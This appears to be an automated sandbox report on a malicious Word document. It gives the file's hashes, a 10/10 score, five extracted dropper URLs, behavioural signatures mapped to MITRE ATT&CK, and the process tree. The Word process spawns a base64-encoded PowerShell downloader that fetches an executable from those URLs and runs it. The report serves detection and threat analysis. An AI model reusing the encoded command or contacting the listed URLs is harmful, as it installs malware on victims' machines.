56d6488a1b865cef4425d95aced79a4ad03364810e505fb1964d20be3a40de53

General

Target

56d6488a1b865cef4425d95aced79a4ad03364810e505fb1964d20be3a40de53.doc
Size

168KB
MD5

f25839380349099bcc91c17e337410c9
SHA1

e0d97e0496f43485f8ab9538e79d90d3845fa309
SHA256

56d6488a1b865cef4425d95aced79a4ad03364810e505fb1964d20be3a40de53
SHA512

0eaea2f974781b1501b20dec6f37c5c445acb4b3035b26cf0795aa45bbbd9ab0175a6dc051b74564d4db46fdb746f05e64ad7a575fdaa87bda59567e3933edec

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://artmikhalchyk.com/wp-includes/mYW3/

exe.dropper

http://franosbarbershop.com/wp-content/plugins/IUh1/

exe.dropper

http://arexcargo.com/wp-includes/QBci/

exe.dropper

http://altarfx.com/wordpress/wQYt/

exe.dropper

http://uitcs.acm.org/wp-content/fqSlt/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2688	5116	powershell.exe	60

Blocklisted process makes network request 3 IoCs

flow	pid	Process
12	2688	powershell.exe
27	2688	powershell.exe
39	2688	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1864	WINWORD.EXE
1864	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2688	powershell.exe
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE
1864	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\56d6488a1b865cef4425d95aced79a4ad03364810e505fb1964d20be3a40de53.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABrAEEAeAB3AFUAdwBBAGsAPQAoACcAaQAnACsAJwBrACcAKwAnAG8AUQBBAEEAbwBaACcAKQA7ACQAbABBAEEAUQBDAG8ARAA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQATwBBAEQAdwBBADEARAA9ACgAJwBoACcAKwAnAHQAdABwADoALwAvAGEAcgB0AG0AaQBrACcAKwAnAGgAYQBsAGMAaAB5AGsALgBjAG8AbQAvAHcAcAAtAGkAbgAnACsAJwBjACcAKwAnAGwAdQBkAGUAcwAnACsAJwAvACcAKwAnAG0AWQBXADMALwBAAGgAJwArACcAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8AZgByAGEAbgBvAHMAYgBhACcAKwAnAHIAYgBlAHIAcwBoACcAKwAnAG8AcAAuAGMAbwBtAC8AdwAnACsAJwBwAC0AYwBvAG4AdAAnACsAJwBlAG4AdAAvACcAKwAnAHAAbAB1AGcAaQBuAHMALwBJAFUAaAAxAC8AJwArACcAQABoAHQAJwArACcAdABwADoALwAvAGEAcgBlACcAKwAnAHgAYwBhAHIAZwBvAC4AJwArACcAYwBvAG0ALwAnACsAJwB3AHAALQBpAG4AYwBsAHUAZABlAHMAJwArACcALwAnACsAJwBRACcAKwAnAEIAYwBpACcAKwAnAC8AQAAnACsAJwBoAHQAdAAnACsAJwBwADoALwAvAGEAJwArACcAbAB0AGEAJwArACcAcgBmAHgAJwArACcALgBjACcAKwAnAG8AbQAvACcAKwAnAHcAJwArACcAbwByAGQAcAByAGUAcwBzAC8AJwArACcAdwAnACsAJwBRAFkAdAAvAEAAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwB1AGkAJwArACcAdABjAHMALgBhAGMAbQAnACsAJwAuACcAKwAnAG8AcgBnAC8AJwArACcAdwAnACsAJwBwAC0AYwBvAG4AdABlAG4AJwArACcAdAAvACcAKwAnAGYAcQBTAGwAdAAnACsAJwAvACcAKQAuACgAJwBTACcAKwAnAHAAbABpAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAnAEAAJwApADsAJABNAEEAbwBRAEIAQgA9ACgAJwBQACcAKwAnADQAQQBrAFgAJwArACcAWABVAFgAJwApADsAJABtAG8ARwAxAFUAQQBBACAAPQAgACgAJwA4ACcAKwAnADUAOQAnACkAOwAkAGEARABBAEEAUQBCAEQAQgA9ACgAJwBNAEEAMQBEAEQAJwArACcANABvACcAKQA7ACQAaQBBAFEAQQBRAFoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAG0AbwBHADEAVQBBAEEAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABQAEEAQQA0AEEAawBaACAAaQBuACAAJABPAEEARAB3AEEAMQBEACkAewB0AHIAeQB7ACQAbABBAEEAUQBDAG8ARAAuACgAJwBEACcAKwAnAG8AdwBuACcAKwAnAGwAbwBhAGQARgBpAGwAZQAnACkALgBJAG4AdgBvAGsAZQAoACQAUABBAEEANABBAGsAWgAsACAAJABpAEEAUQBBAFEAWgApADsAJABoAEEAQQBBAEEAQgA9ACgAJwB3ACcAKwAnAFUAawAnACsAJwBEAFgARABBACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABpAEEAUQBBAFEAWgApAC4AIgBMAGAARQBuAGAAZwBUAGgAIgAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7AC4AKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAIAAkAGkAQQBRAEEAUQBaADsAJABRAFoAawBBAHcAQQBCAFUAPQAoACcAegAnACsAJwBBAEIANABRAEEANABrACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABYAGsAQQAxAEQAQQBBAD0AKAAnAEMAJwArACcAQQBBAEEARABBACcAKQA7AA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1864-138-0x0000024C6B540000-0x0000024C6B544000-memory.dmp

Filesize
16KB

Download
memory/1864-136-0x00007FF89C7A0000-0x00007FF89C7B0000-memory.dmp

Filesize
64KB

Download
memory/1864-132-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-133-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-130-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-135-0x00007FF89C7A0000-0x00007FF89C7B0000-memory.dmp

Filesize
64KB

Download
memory/1864-131-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-146-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-134-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-145-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-144-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/1864-143-0x00007FF89ED30000-0x00007FF89ED40000-memory.dmp

Filesize
64KB

Download
memory/2688-141-0x00007FF8B3F80000-0x00007FF8B4A41000-memory.dmp

Filesize
10.8MB

Download
memory/2688-140-0x00007FF8B3F80000-0x00007FF8B4A41000-memory.dmp

Filesize
10.8MB

Download
memory/2688-139-0x00007FF8B3F80000-0x00007FF8B4A41000-memory.dmp

Filesize
10.8MB

Download
memory/2688-137-0x000001DD9E5E0000-0x000001DD9E602000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads